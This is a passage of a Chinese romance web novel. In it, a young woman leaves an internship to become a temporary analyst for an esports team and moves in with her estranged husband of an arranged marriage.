“平常见你不是宅在房间看比赛,就是线下去看比赛,什么时候练的?”室友好奇问。
“……别人随便带着玩的。”祝陶浮含糊回答。
教练笑了笑,继续闲聊:“随便玩都百发百中的,带你的肯定是个高手。”
负责销售介绍的工作人员,很有眼力劲地推广:“诶,美女,玩得这么秀,想必是射击爱好者吧,要不在我们这儿办个会员,现在打八八折,其他的步枪和狙击随便玩哦。”
“不了,我就这个稍微好点。”祝陶浮实话实说,扬了扬掌心里的手枪。
高中学业紧张忙着备考,顶多晚上抽空,梁以盏带她宣泄压力地玩玩。
凌晨娱乐性质的射击馆闭馆休息,梁以盏不知道在哪里七拐八转地带她去一家地下俱乐部。
那会儿梁以盏教她的时候一边手把手指点,另一边又嘲笑她体力差。
难度更大的枪别说后坐力,祝陶浮端起来都费劲儿,等她考完,带她去户外俱乐部,真枪实弹地特训起来。
再然后……
等考试结束,没有然后了。
“小浮,想什么呢,教练说免费让你体验五发那边的枪。”室友伸手指了指远处区域的长枪大炮。
“发什么呆,你不去试试吗?”
祝陶浮一愣,回过神来,婉拒道:“谢谢,你们玩,我去门口等你们。”
--
hr尝个新鲜,体验试玩以后,跟祝陶浮一起在门口长椅上坐着等待。
室友们玩得有些上头,两人又团了两个其他型号的枪支过过瘾。
等她们俩玩完出来,去吃晚餐,正好赶上饭点。
味道好点的餐馆,早已开始排号,hr恐怕来不及跟她们吃饭。
“哎呀,都怪我两,一玩就玩过了,压根没想起来姐你还要接孩子。”室友们望着热门餐厅门口,等候区的椅子上坐满了人,有些线上取号的没算在里面,十分懊恼。
“我也没想起来,早点去排队就好了。”方才祝陶浮有些走神,也就没顾得上时间安排。
“这有什么,你们太客气了。”hr说:“我之前陪孩子上课,晚上也就面包蛋糕之类的随便对付,倒是你们,陪我一下午开心,让我等他的时间没那么无聊。”
“怎么会,姐,跟你玩很开心。”听她这么讲,室友们愈发不好意思:“真的,我之前叫我同事出来,这不要,那不玩的,你比她们好多了!”
祝陶浮想了想,她抬头道:“我知道有一家店,味道不错,价格便宜,就在附近。”
“就是……不知道你们愿不愿意,是现在说的那种,苍蝇馆子。”祝陶浮犹豫开口。
室友们表示ok,hr也很随和地附议:“物美价廉,挺好的啊。”
距离商场四百多米,穿过两三条马路,像是与繁华整洁的商场区域隔了一个世纪,烟火气从拥挤狭窄的街巷缓缓飘出。
是饭点也是上下学高峰期,周末大部分普高的学生匆匆扒两口饭,赶回学校上晚自习。
各式各样运动校服人群里,零星少数的精致制服夹杂其中。
制服生脸上没有忙于学业的疲惫急色,也没有整日埋在教室的灰头土脸,闲庭信步地逛街。
而其他学生在路边摊揣着刚买好的粉面,小心地在本就窄乱街道避让,免得汤汤水水洒到对方昂贵衣服上。
“真羡慕啊,私立学校的少爷小姐们,这么早放学玩耍,我那个时候,可是晚上十点多才下晚自习。”室友看他们画着精美妆容,有说有笑迈向停靠路边的各色豪车,流露出羡慕神色。
“哎,谁不是呢,周末都不放假,就几小时的休息时间。”虽不是同一个地方,但同样出身考试大省的另一个室友,发出同病相怜的感慨:“这才几点啊……”
hr听完,在一旁补充:“可不止,这所学校基本就上半天课,下午半天他们是去各个机构准备资格考试,为出国做准备。”
“你刚看到的那些人,估计是上完机构培训,来附近转悠,找别的学校志趣相投的,一起玩玩。”
室友:“姐你说的好文明,就是搞对象呗。”
“咳咳,你说的对。”hr汗颜。
“而且基本都是高二下就去国外读大学了,极少数实在是烂泥扶不上去,没办法再整个高三
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,从二下的暑期就开始把简历再水一水,争取来年的春天顺利get offer。”
室友羡慕嫉妒恨:“卧槽,好酸好酸。”
另一室友拍拍她的肩膀:“没事,咱不为难自己,从不吃酸菜、也不吃柠檬开始。”
hr被她俩逗笑,又接着解释。
“不过呢,这所私立,并非洲安真正那些二代们聚集的地方。他们有的从小在国外读书,有的是在包含高尔夫、马术等课程的大型场地,少数在顶尖公立,总之不会是在这鱼龙混杂的普通市井。”
“而且那些真正的精英领袖都很卷,卷竞赛卷科研,不会才下午五点,就无所事事、游手好闲。”
“啊,看他们背的包、接送的车都挺豪华。”室友疑惑,询问hr:“反正我这种工薪阶层挤不进去。”
从外地来洲安打拼多时,跟丈夫两人近几年才安居落户,hr笑着说:“别看我,我也负担不起,能让小孩上兴趣班,已经是竭尽全力了。”
室友更加奇怪:“那他们是?”
hr轻咳两声,音量稍稍压低,道:“我听说,一般都是家里不成器的败家子,或者……见不得光的私生子。”
她们三人谈论热切,祝陶浮没有加入闲聊,似乎是在专注看路、寻找店铺。
临近街道的餐饮店尚且灯光熠熠、热热闹闹,继续往巷子里面,像是陡然间按下音量减弱键,车水马龙逐渐变得模糊。
电线乱七八糟盘旋在头顶,老式居民楼潮湿斑驳,路面地砖泛着青苔,祝陶浮慢慢停下脚步。
“到了,就是这里。”
乐乐菜馆。
从店名到装修寻常地仿佛在其他大街小巷见过,门口上方的招牌没有安装灯光,甚至漆都掉了一半,透露着招揽随性的意味。
没什么太大变化,除了现在垃圾分类,放在门口的大垃圾桶,收归统一管理。
推门而入,陈旧的铝合金玻璃门,发出略显刺耳的吱呀声响。
店里都是周围居民,有学生有老人,三三两两闲坐,除了祝陶浮一行,没有外来食客。
她们进来后,店里第一时间没人招揽。
“老板和老板娘估计正在备菜,我去里屋瞅瞅。”
木桌上摆放着荞麦茶壶,提供顾客免费饮用。
祝陶浮让她们坐着喝水消消暑气,自己起身往后厨走。
往右穿过小拐角,就是厨房。
隔着玻璃,能看清洗菜和制作的每一个环节,设备虽陈旧却干净。
此时只有一个老伯伯在忙碌,祝陶浮正准备开口,小拐角的楼梯,从二楼下来了一位老婆婆。
“哎哟,这不是小漂亮嘛,好久不见,愈发水灵美丽了啊!”婆婆上了年纪却打扮得时髦得体,腿脚也是相当利索,陡窄楼梯不用扶手、步子也迈得稳健,祝陶浮还是上前扶着她下来。
“您好,阿婆。”祝陶浮笑了笑同她打招呼:“好久不见,您还是一样的年轻而有魅力。”
“哼,说两句好听的没用。”婆婆轻笑,嗔怪地看了她一眼:“你离开这么些年,狠心地都不回来看看我。”
不好意思地低头,祝陶浮歉疚道:“确实是我的错,太忙了所以……”
婆婆打断她的道歉,佯装生气感慨:“诶,当初你带坏脾气过来,结果一走了之,反倒是他,每年还来店里坐坐呢。”
见祝陶浮沉默,婆婆以为她忘记了,回忆提醒道:“就那个,有时候打架身上是血的小子,看着吓人,但没吓你,长挺帅来着。”
祝陶浮怎么会没印象,心里默默叹气:
是吓人,吓得别人。
梁以盏是赢得那一方,败者自是吓破胆,衣服上那是别人的血。
至于自己,起初也有被吓到。
第一次见面,祝陶浮被班上其他同学整蛊,导致坐错在梁以盏的课桌。
对方缓缓站定后,眼也未抬。
下一秒,拎起自己就往墙上掼。
她大脑尚在发懵,少年冰冷似霜的眉眼,已然欺压靠近。
“找死。”
对方狠厉的手指再稍用力,脆弱即碎。
祝陶浮感到一阵眩晕窒息,自己正被他掐住脖颈。
5. 第 5 章
夏夜黄昏,天色清亮如白昼,时间像是有一刻的静止。
祝陶浮站在狭小楼梯的拐角,逆着光线神色有些凝滞而看不太清。
窗台外空调机器悠悠转动,啪嗒啪嗒滴着水,细微风声沿着边角缝隙漫进小屋。
婆婆没有注意到她的异常,自顾自往下:“怎么,他今天没跟你一道?”
“上学那会儿,你们俩可是一块儿来我这里吃饭,边吃边还看看那什么游戏来着……我不懂,讨论比赛哟。”婆婆帮她回忆。
“不过坏脾气这些年看着,没那么凶,也没打架带血,一身行头人模人样,跟个公子哥似的……当然,不是说他没脾气啊,他可不像你天生好脾气。”
“只是,感觉整个人,将情绪收得一干二净,好歹以前这小子脾性差,现在是什么都能感觉不大,可能是大人了吧。”
婆婆说得跟绕口令似的,祝陶浮却听懂了。
片刻,她淡声回答:“……但他来的时候,我也不在呀。”
话语接得似是而非,避重就轻,没有落在实质上。
摇了摇头,婆婆笑眯眯地感叹:“你们啊……还以为长大了,依然在一起呢。”
这话祝陶浮没法接,婆婆也没指望她能说出什么,便道:“算啦,我去忙了,小丫头想吃什么直接菜单上勾,好久不见,这顿我请你吃。”
“哎,阿婆,这可不行。”祝陶浮方才进屋的时候,看过桌上的菜单。
物价飞涨的今天,价格几乎和六年前持平,说什么都是要付钱的。
“阿婆你本来就没赚多少钱,不能再让你辛苦了。”祝陶浮说。
对此看得很开,婆婆知足地乐呵呵道:“我和你阿公的确是小本生意,没赚什么大钱,但平常经营不算太累,甚至可以说是轻松,完全满足我们两闲散还能赚点钱的需求。”
“他没事就跟那些老伙计打打牌喝喝酒,我啊就跟我的小姐妹们唱歌跳舞,日子过得可快乐了。”
“而且这些年,周围别的铺子房租都涨价,来来去去换了好几家老板了,我们这小店可是一分没涨,运气已经很好了。”
“财聚财散,有得有失,但人要是走丢了,可就回不来了。”末了,阿婆说。
--
自从那天跟梁以盏发完消息,两人的聊天对话框,再次处于停滞状态。
前些年手机丢失过,消息一片空白。
此番停在梁以盏那句“下床不认人”,突兀而莫名。
不知道对方到底什么意思,日子总得一天天过,很快来到八月下旬。
QSG第三赛段排名靠前,不用争夺季后赛名额。
但世界赛的位置依旧不稳定,总积分排名第三,仅获得资格赛的名额。
趁着短暂的休息期,各个队伍抓紧时间调整,QSG开始了分析师与祝陶浮的工作交接。
电竞作息昼伏夜出,通常中午十二点起床,下午一点半开始训练。
QSG今日休整,队员们理发的、整牙的、看医生的……也有谈恋爱约会的,都争分夺秒,忙着各自私事,不在基地。
英雄联盟分部经理,吩咐她下午来报道即可。
基地一楼,前台热情接待祝陶浮,她说跟经理已经预约。
没过一会儿,走廊电梯叮地一声。
经理下来的时候,祝陶浮撸完一只在前台桌下伸懒腰的猫猫,溜达到荣誉墙前进行观摩。
“您好,您就是……祝陶浮?”经理停下脚步,有些不确定地询问。
比较重要的比赛,经理会随队去现场,祝陶浮视频里见过他。
点了点头,微笑回礼:“您好,经理。”
负责招聘的联系人,见祝陶浮之前的游戏分析颇为老练,数据更是信手拈来,当是喜欢看比赛的宅男技术粉。
简历没有再进行二次确认,分析师一岗祝陶浮之前填报的学历已然超出预期太多。
再加上祝陶浮名字偏中性,性别一栏是男,所以当她本人出现在基地,经理着实一惊。
随之而来的则是惊艳:长相是艳丽浓媚的类型,很容易会流于轻浮俗气。偏偏一双眼睛乌黑清冷,望过来的时候像是能洞穿人心。
但祝陶浮笑起来,又很有亲和力,柔和似水和寒冷似冰,很微妙地在她眼里达成了平衡。
起初前台跟他汇报,有个非常漂亮的小姑娘有约,经理以为弄错了。
但他阅人无数,有些人往那一站,就知道并非凡俗。
祝陶浮就属于这一类。
“祝小姐,这边请。”经理扶了下眼镜,很快恢复标准的礼貌微笑,冲祝陶浮发出邀请。
--
QSG训练室,赛训组的主、副教练没有休息,等待与祝陶浮正式交接工作。
分析师念妻心切,昨晚乘航班飞回老家。
在见到她的第一眼,两人面面相觑,眼底震惊神色不言而喻,几乎与经理的第一印象一模一样:
漂亮得跟朵花儿似的小姑娘,能扛得住赛场的风吹雨打吗?
“这么热闹,开小会呢。”
训练室的门从外面打开,来人随意地拉过一张电竞椅坐下,松松懒懒斜靠着椅背。
“你怎么来了,你不是去约……”经理话说到一半,又咽回去,想起祝陶浮在场,得给人几分面子。
“约什么,炮?”男人笑了下,浑不在意。
赛训组:……
经理到底见多识广,迅速打圆场:“哈哈哈,到底是队长,休息这么一会儿,还要补游戏里的炮车,排位约啊。”
赛训组再次集体沉默。
“你尬不尬。”男人不耐打断,似乎是刚睡醒,回想起什么,终于掀起眼皮,闲闲地看了眼,话题中心。
“人家又不是不知道,我什么德性。”
“你……我……”经理一堆脏话就要脱口而出,奈何祝陶浮在场,只能堪堪咽回肚里。
眼睛隔着眼镜,就快要喷出火,表达强烈谴责。
“她都没说话呢,你急什么。”男人笑了下,无所谓道:“这才第一天,还要磨一个月。”
“但你还是注意点形象……”语重心长的劝解刚开了个头,后知后觉,经理有些不确定地反问。
“等等,你的意思是,已经定下了?”经理惊觉。
男人轻点下颌,勾弯唇角,想了想,还是懒洋洋站起来,走到祝陶浮身前,伸出手掌。
“就不用自我介绍了吧,bless。”
祝陶浮抬眸,不卑不亢地回望过去,平静地握住他的
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手。
电竞选手指节修长,键盘鼠标长时间使用,青筋微起下的指腹略带薄茧,他的手搭在柔细指尖,衬得祝陶浮的手格外小巧。
“你好,chess。”
chess,本名祁招,23岁,QSG中单既队长,同时也是俱乐部投资方之一。
少爷出身,狼尾耳钉浪荡不羁,行事作风恣意妄为,只有他招惹别人,别人不敢招惹他。
即使没有接替分析师一职,祝陶浮看比赛知晓此人风格,所以没有太多意外。
不过散漫归散漫,那都是赛场下,赛场上祁招十分讲究纪律,出手果断狠厉,几次带领队伍拿下国内联赛冠军。
可惜的是,尚未有国际赛奖杯。
两人在半空中虚虚一握,算是简单地彼此介绍、礼貌招呼。
“废话不多说,经理给我发消息讲了简历乌龙,基地宿舍女生没有空位,这行经常通宵,我让他在附近找房源,房租到时候俱乐部报销。”祁招。
话题迅速从闲聊过渡到工作,转换过快,祝陶浮有些愣怔,慢半拍地消化他这句话。
“什么表情,不愿意。”祁招微一挑眉,忽然俯身凑近,玩笑道:“想和我睡啊?”
电竞行业不乏明星选手,祁招就是其中之一。
明星二字,形容其他人多为操作技术,祁招却是还要加上外貌评分,堪比娱乐圈的男明星。
因此,有很多来QSG投简历,是冲着祁招。
听许若歆八卦,祁招私生活绯闻颇多,但对工作还是公事公办,否则QSG早就倒闭了。
祝陶浮摇了摇头,说:“嗯……我有住的地方,报销的钱,能加工资里吗?”
轮到祁招停顿了一下。
片刻,他拉远距离,重新站直了身子,百无聊赖道:“行啊,你确定。”
那就确……
还真没确定。
“稍等一下。”说着,祝陶浮走出训练室,打开微信对话框。
依旧停留住宿问题,没有后续推进。
时间不等人,祝陶浮思索,决定单刀直入。
“你答应了吗?”
梁以盏平时很忙,祝陶浮担心贸然打扰到他。
但已经发了消息,要是对方不回,她就直接电话过去。
正犹豫着,电话铃响。
祝陶浮一愣,铃声响了几秒,她才回过神似的按下接听键。
“……喂?”
相较于自己的游移不定,电话另一边,则显得沉稳冷静许多。
声音低哑磁性,缓缓地落进耳廓。
语气平淡而倦懒,像是闲谈日常。
“我答不答应的,不得看你吗。”
反问句用了陈述语气,祝陶浮更加疑惑。
“看我?”
梁以盏浅淡地嗯了声,说:“房子在你名下,想我跟你一起住,自然得给我个名分。”
祝陶浮怔了怔,怀疑自己听错了,慢慢重复一遍:“……名分?”
然而不知道是对方太忙,或是其他,梁以盏没有过多解释,只道:“高中同住屋檐下,算得上是同学室友,现在呢,你觉得是什么。”
一句终,状似为祝陶浮着想,漫不经心地提醒:“慢慢想,我不着急。”
6. 第 6 章
训练室内,赛训组并没有表面上的淡定。
“祁招,你就这么快定了,不妥吧?”主教练皱眉,提出质疑。
QSG战队,除了队长和资方,祁招在ban pick环节,具有很大的话语权,分析师自然是要经过他的评定。
“你们心里清楚,她就是最合适的人选。”手指有一搭没一搭地在椅背轻敲,祁招懒懒道。
在负责人建立的群聊里,赛训组和祁招都看过相关分析。
与祝陶浮沟通游戏,有时候并不是负责人,而是赛训组的一人或几人顶着他的账号聊天,甚至是祁招亲自过目。
祁招此话一出,偌大的训练室陷入短暂沉默。
近年来,lpl的优秀赛训凤毛麟角,是比选手还要稀缺的存在。
现在比赛进入如火如荼的季后赛阶段,市面上好点的分析师早已被各大俱乐部抢光。
而就目前来看,祝陶浮算不算得上一个优秀分析师,尚不明朗。
但接替原分析师一个月的工作,水平绰绰有余。
“人没来的时候,你们火急火燎,真到了跟前,推三阻四。”祁招笑了下,点破其他人心中疑虑。
“你们不是担心她,是对我有意见。”
“我知道,我有分寸。”
“你还好意思说。”见他没正经形,经理就头疼。
“好歹第一天见面,收敛点,留个好印象。”
对他这话,祁招嗤之以鼻:“真当人家小白花,第一天看比赛呢。”
的确,都不用看比赛,凭他这张招摇的脸,电竞以外的其他圈,稍微刷刷媒体八卦,就知晓他风流在外的名声。
训练室的门轻轻敲响两声,祝陶浮走了进来。
祁招掀起眼睑,懒洋洋地看向她。
“我有住的地方,就还是麻烦你……把租房补助,算在工资里吧,谢谢。”
语气客套谨慎,活像跟老板商量涨薪。
轻嗤了声,祁招吊儿郎当地开口:“讨价还价,在谢谁?”
祝陶浮看了看他,随即目光转向另一边。
“可以吗,经理?”
训练室爆发出笑声,赛训组难得看祁招吃瘪,调侃道:“小祝,他是让你改口。”
似懂非懂地点头,祝陶浮再次望向慵懒倚靠在电脑桌前的那人。
“可以吗……队,长?”
原本想直接答应,瞧她漂亮小脸写满敢怒不敢言,话到嘴边,转了个弯,起了捉弄的心思,祁招只道:“看你表现。”
--
QSG确定下来,祝陶浮这边紧跟着就开始办理离职手续。
离职前一天,中午在食堂的时候,碰巧是室友俩和hr,祝陶浮提出晚上下班了请她们在附近的商场,好好地吃个晚饭。
室友们到底年轻,上班才刚刚起步,没有hr那么泰然处之。
“啊,不是吧,上周我们才在一起吃饭呢,这么快,竟然就要散了,以为你还要多待一阵。”
“唉,好舍不得你小浮,这一走,也不知道什么时候会再见,新室友肯定没你好,我和她俩的上个室友可奇葩了,呜呜呜。”
……
离别的惆怅情绪,悄然蔓延,hr见惯了人来人往,心底仍有一丝触动。
她张了张嘴,想说什么,但还是选择,轻巧地转移话题。
“那今晚,又要让小浮破费,带我们吃好吃的了。”
园区食堂桌子有单独四人桌,也有两张拼在一起的八人座。
今天她们坐在八人的拼桌,隔壁桌是祝陶浮同公司的同事和他在别的公司朋友。
实习的几个月里,有帮祝陶浮牵线搭桥的,自然有想自己本人搭上关系的,隔壁桌的男同事是其中之一。
奈何明里暗里献殷勤几次,祝陶浮始终保持沉默,置之不理,男同事屡屡碰壁、面子受挫,便没有再骚扰。
反正只是个实习生,玩玩而已,没到手就没到手,但还是心里不爽。
逮着机会,就要恶心人。
“哎呀,都是外来的,哪里能熟悉咱们洲安,带着吃些好的呢。。”语调阴阳怪气,意有所指。
闻言,室友冷笑一声:“瞧给你洲安人能的,咋又被我们部门的姐姐甩了吧?”
只差没点名道姓,仗着洲安本地人身份,自觉长相不错,有点钱有些人脉,四处撒网撩骚。
实则稍微有点头脑的女生不是傻子,当然选择跟这种斤斤计较、又自我吹嘘的男人分手拜拜。
踩中痛处,男同事的脸色立刻变得很难看,咬牙不屑道:“你搞清楚,是我甩的她。
“还有,你也别急着为你姐妹出头,就你这种,跟我谈的资格都没有。”
室友气恼:“你……”
“哦对了,我话还没说完呢。”男同事鼻子里哼出声调,把矛盾再次对准祝陶浮:“大美女当然不一样,自然有金主带着啦。”
此言一出,桌上除了祝陶浮,表情微妙地透露出紧张情绪。
毕竟只是相处几个月的同事关系,私下生活到底什么样,彼此间都不清楚。
hr见状,出言调和:“好了好了,都是一个公司的,话别说的那么难听。”
“首先,她实习结束,不在我们公司了,姐你就别在这儿当老好人。”
祝陶浮表现得越是平静,男同事盯着她那张艳丽漂亮的脸蛋,心里愈发升起一种得不到回应的扭曲愤恨情绪。
没有丝毫退让,他继续咄咄逼人:“其次,我哪里讲的难听了,实话实说而已。”
“我可是亲眼目睹,她从一辆豪车上下来哦。”语气十分洋洋得意,就等着看人出丑。
然而祝陶浮并没有预料中的慌乱羞赧,倒是轻轻笑了一下。
“原来你在洲安这么多年,没见过车啊。”祝陶浮轻声反问,四两拨千斤地回怼过去。
并没有急于自证,而是戳破他引以为傲本地人身份的这层皮。
她一笑,气氛陡然间轻松,桌上其他人也跟着笑了。
和男同事坐一桌的人,与他一路货色,于是帮腔道:“但那劳斯莱斯,并不是你一个一身杂牌,能挤进去的档次。”
无所谓地嗯了声,祝陶浮淡淡说:“所以呢,打到快车很常见吧,之前你坐了辆迈巴赫,不是晒在朋友圈?”
发朋友圈无可厚非,但他模棱两可暗示是自己的资产,后来被其他同事扒出来,分明是打肿脸充胖子。
帮腔的兄弟:……
两人见说不过祝陶浮,狠狠地瞪了她几眼,端起餐盘灰溜溜离开。
“诶,小浮,他们
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说的……你别往心里去啊。”室友们不甘示弱地回瞪过去,然后担忧地注视着她。
祝陶浮浅淡地笑了下,说:“没事,我还要谢谢你们,帮我说话。”
同事之间,不主动说便不追问,保留隐私空间,甚至还帮忙辩解,祝陶浮已然很感激了。
“今晚请你们吃饭,明晚我照样包了。”祝陶浮笑言,企图转移话题,调节气氛。
hr叹了声气,略显忧愁:“不是饭的问题……算了,所幸你离职了,被这两赖皮纠缠,不是什么好事。”
—
没有按照原计划时间回栖梧,依然是原定时间退房,房租刚好到期。
行李很少,箱子背包手提包,基本装下,室友们说送送她,然而下班太晚没有碰上,祝陶浮也不会真的麻烦她们,自己拎着大包小包下楼。
走出小区门口,祝陶浮拿出手机,查看地图路线,思考是先打车坐地铁了走一段路、还是先坐地铁后打车更划算。
富人阶层注重隐私性,住处周围没有直达公交。
正低着头,计算时间和费用的性价比,祝陶浮感到,右掌虚握着的行李箱扶手,被旁人轻轻勾走。
祝陶浮:!
惊觉抬头,下意识就要把行李箱抢回来--
路灯昏暗,指尖触碰到来人。
视线虽看不太清,但能感觉到他修长手背上,起伏有力的骨节脉络。
“……你怎么在这?”祝陶浮愣怔,望进他漆灰眼瞳。
树影婆娑影影绰绰,若不是长相过分好看,森冷气场在暑热季节,活似撞鬼。
梁以盏眼睑半垂,与祝陶浮的惊讶截然相反,平静开口说:“来接你。”
稀疏平常的对话,自然地好像,什么时候出现过。
来不及细细回忆,祝陶浮收回搭在他手背的指尖,准备从他手里接过行李。
“……谢谢,我自己来。”
然而他没有给她拒绝的机会,径直推着她的行李箱和放在上面的背包,往路边停车走去。
“等一下,这样不好。”
对方长腿一迈,祝陶浮小跑跟上,在他面前站定。
梁以盏停驻,淡淡道:“怎么?”
估计是祝峥让她去聚会的那次,返程梁以盏回公司处理事务,派司机送她,被住在周围的男同事偶然发现,才信口开河。
“……会误会。”祝陶浮顿了一下,点到为止,她认为梁以盏应该能懂。
逆着光线,看不太清他的神色,但祝陶浮能听到,头顶传来低哑轻缓的嗤笑声。
梁以盏推着他的行李,继续往车边走,后备箱自动打开。
“既然都误会了,那我就服侍你一下。”说着,将祝陶浮行李稳稳当当塞进车内。
他今天一身黑衬衣,剪裁精良而简洁,轻松勾勒宽肩窄腰的完美身段。
帮祝陶浮整理后备行李时,衣领往下散了两颗,半卷袖口下的手臂线条流畅,青筋若隐若现,中指上的素戒在昏暗灯光下忽闪,显得诱惑又禁欲。
见祝陶浮还站在原地不动,梁以盏绕至她身前,主动打开副驾。
明明嘴上说着“服侍”,姿态却摆得懒散随性,没有一点低头的自觉。
他倚靠着车门,微点下颌,示意发问:“满意吗,金主?”
7. 第 7 章
今晚梁以盏没有带司机,自己开了辆suv,倒真像是如他所言,接祝陶浮返回而已。
车辆平稳行驶,渐渐从支路汇入主干道,他们与匆匆奔赴的其他人一样,融入进万家灯火的夜色里。
方才上车前的对话,梁以盏对于旁人非议不以为然,反而主动揽下谣言名头。
琢磨不透他什么意思,人在尴尬的时候就会假装忙碌。
手机真是个伟大的发明,她心想,点开与室友俩和hr的四人群聊。
自从那次射击回来,她们便建了个小群。
成年人的世界,来去突然又匆匆,祝陶浮没有跟她们细说下一份工作,是战队分析师。
一是时间短,仅作为一个月的过渡。
二是临时更换人员,站在舞台上的主副教练两人足矣。
QSG报备联盟却没有对外公开,既顾及到她实战经验不足、避免引起众多的舆论动荡,也包含将其作为保密绝招的意思。
祝陶浮理解并同意,她也不是很想展露在世人眼前,不太合适。
此刻,群里闲聊,谈及祝陶浮这两天请客的商场热门餐厅,虽然贵,可味道还不如上次小巷里的寻常菜馆。
“乐乐菜馆不在网红老店排行,但在我心中,值得上一个必吃榜单。”
“一提起这个,我就来气……好多都是打着几十年老字号招牌,实则千篇一律的圈钱模式,老街巷口的黄金地段,几乎被网红店占领。”室友忿忿不平。
“确实,小浮带我们过来的时候,我还以为,就是巷口那几家呢,之前在社交平台刷到,探店博主推荐。”另一室友,十分赞同。
“别,他们家又贵又不好吃,预制菜宣传自己现炒现卖。”hr发了个叹气表情:“你刷到的,恐怕是收钱好评。”
“哪像小浮找的这家,才是货真价实的苍蝇馆子。”那天都是家常菜,白斩鸡、黄鱼羹、油爆河虾、清炒莴笋……室友却吃了三大碗白米饭。
“你说错了,好吃归好吃,干净得才没有苍蝇呢。”另一室友嘻嘻哈哈说。
hr附和赞成:“小浮不是本地人,倒是挺会找的,我来洲安这么多年,老小区里的菜馆,干净卫生还好吃,确实太少见了。”
“不说别的地方,我带孩子在商场上课好多次了,都没想过来巷子里晃晃,跟着小浮才发现藏了这么个地方。”
“对哦,你是怎么发现的啊,真的是物美价廉又好吃!”室友问。
祝陶浮想了想,在手机上敲下一行字。
“是我同学,你们知道的,在市中心大厂上班,她觉得味道很好,带我来的。”她找了个缘由,将名头安插在许若歆身上,编排有理有据,令人信服。
室友两齐齐发了个可爱的猫咪点头表情包:知晓她有个同学,经常和一起看比赛。
“我知道,原来是她,听你提起过,她也不是洲安本地人,那她挺会吃的啊。”室友恍然大悟。
指尖一顿,祝陶浮没了下文。
另一室友结过话茬。
“木头桌椅,老旧碗盘,简单却好吃的家常菜……”
“想起我高中那会儿,学校周边也是这样的一些小餐馆……哎,上班上久了,挺怀念上学时期。”
车水马龙,窗外倒影飞速向后,车内是一如既往的安静沉默。
有一瞬间,时间仿佛模糊停滞,在缓缓倒流。
祝陶浮看了会儿手机,莫名有些困倦。
本是偏着头望向人来人往发呆,竟然看着看着昏睡过去。
再次醒来,周遭已换了景象。
祝陶浮缓缓睁开眼,已然进入住宅区。
这一片区域是洲安老洋房别墅区,车辆正停靠在自家庭院。
眨了眨眼,盯着窗外陌生而雅致的环境看了两三秒,大脑重启般慢慢回过神。
下意识地摸出手机,查看时间--
凌晨一点半,是第二天了。
离开工业园区的时候,早已过了下班高峰期。正常行驶,一定会在十二点前赶到住处。
自己竟然,睡了这么久。
惊醒坐起身,肩膀上的薄毯跟着滑落至腰间,祝陶浮后知后觉,看向左手边的驾驶位。
空调幽幽,车内没有开灯,只有中控表盘反射出些许光亮,映照男人凛冽冷峻的侧颜。
梁以盏仍在原位,低头拨弄手机,不知道在看什么。
似是察觉到她的目光,梁以盏熄灭手机,淡声说:“醒了,下车吧。”
语气平常,并没有丝毫等人的不耐,如同寻常事。
虽然,祝陶浮觉得并没有等待的必要。
司机过来将车泊入车库,佣人则拎着祝陶浮的背包行李上楼。
老洋房不似梁家老宅偌大寂冷,整个布置偏向暖色,充满年代的怀旧温馨。
玄关摆放的拖鞋尺码合适,祝陶浮刚走进客厅,厨房里的阿姨,端着木质托盘走到餐厅,上面瓷碗里盛放着百合梨汤。
“夫人,夜深了,喝点汤去去火。”管家在门口,同她礼貌问好。
相较于会所里服务员过于殷切讨好,梁以盏的住处无论是高楼还是别墅,侍佣们都给人一种舒适又不失礼节的惬意感。
几年间迫于联姻关系,两人曾短暂相处于同一屋檐下,祝陶浮私下里让佣人们不用这么客气,叫她小祝就行。
但是从别墅管家到平常佣人,既不叫她小祝,也不喊她祝小姐,整齐划一统称为“夫人”。
睡了三个半小时,祝陶浮的确有些渴,道了声谢走进餐厅。
因着他不喜外人打扰,做完这些管家和佣人们离开休息,室内安静得只剩瓷勺舀动和酒液倾倒的细微动静。
没有坐在吧台,梁以盏则慢悠悠绕至柜子里取出酒和玻璃杯,来到她的对面落座。
“你不走吗?”祝陶浮抬眸,疑惑询问。
闲散地晃了晃酒杯,梁以盏淡淡开口,反问回去:“不是你说,要跟我一起住?”
经他一提,祝陶浮回想起来,自己微信里的留言--
“我想跟你一起住”。
可那意思,是住你的房子,而不是跟你这个人一起……
祝陶浮噎了一下,梁以盏怎么就理解成字面含义了。
俗话说,吃人家嘴软,拿人家手短。
自己这会儿连吃带拿,她选择将回怼的话语连同梨汁咽进肚。
然而始作俑者还没有放过她,喉结滚动咽下红酒,又再次哑着嗓音,慵懒地看过来。
“你不用这个表情。”
祝陶浮莫名:“我怎么了?”
“不情,不愿。”一字一顿,声线沾了酒,夜色里醉醺而缱绻。
你知道就好,祝陶浮心里默念。
“我也不是很乐意。”说着,冷艳眉眼轻挑,似乎有些烦恼。
梁以盏轻叹道:“毕竟,住下来没名没分。”
祝陶浮:?
“……那你睡哪。”不欲与他在此等问题上过多纠缠,祝陶浮生硬转移话题。
梁以盏看了她一眼,懒懒道:“你旁边。”
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祝陶浮:?
“房间都在三楼,是你旁边。”说到这,梁以盏撩着眼尾,淡嗤了声:“怎么,以前没见你有意见。”
祝陶浮默默咬牙,怼了过去:“梁董说笑了,难不成还想睡沙发?”
那还是高中时期,租住一室一厅的老破小。
虽然房子是梁以盏的,但是床让祝陶浮睡了。
坦坦荡荡朝她回望,梁以盏单手支着下颌,半真半假道:“我不介意。”
祝陶浮:……
来洲安实习的日子里,白天上班,晚上忙论文,空闲时间看比赛。
但电竞行业昼夜颠倒,祝陶浮得赶紧把作息调整一下。
刚好回来的车上睡了一会儿,现在不困,她去沙发上随身携带的帆布包里,翻出吃剩的半袋吐司。
吃饱喝足,才有力气分析数据干活。
隔夜切片的面包,在保鲜袋里瞧着老化干硬,梁以盏道:“厨房里备有现切,我烤了拿给你。”
她摆摆手,表示不用。
“我这袋白天就要过期了,不能浪费。”
一直是祝陶浮被梁以盏说得哑口无言,难得轮到他片刻沉默。
但祝陶浮浑然不觉,边嚼面包边提问:“对了,房间有电脑吗?”
自己带了笔电平板,对付论文绰绰有余,但分析赛事数据,再有一台电脑更方便。
“有。”梁以盏撩起眼皮,言简意赅。
祝陶浮以为的,是房间里有台电脑设备。
没想到二楼书房旁边,有一间专门的电竞房。
今晚已经不知道第几次愣怔,她抬头看向梁以盏时,对方只懒散道:“你去忙吧。”
说完,转身离开,仿佛平静又寻常。
--
梁氏集团,摩天顶楼董事长办公室,落地玻璃窗外阳光倾泻,在宽阔冷硬的空间里,落下层层清幽云影。
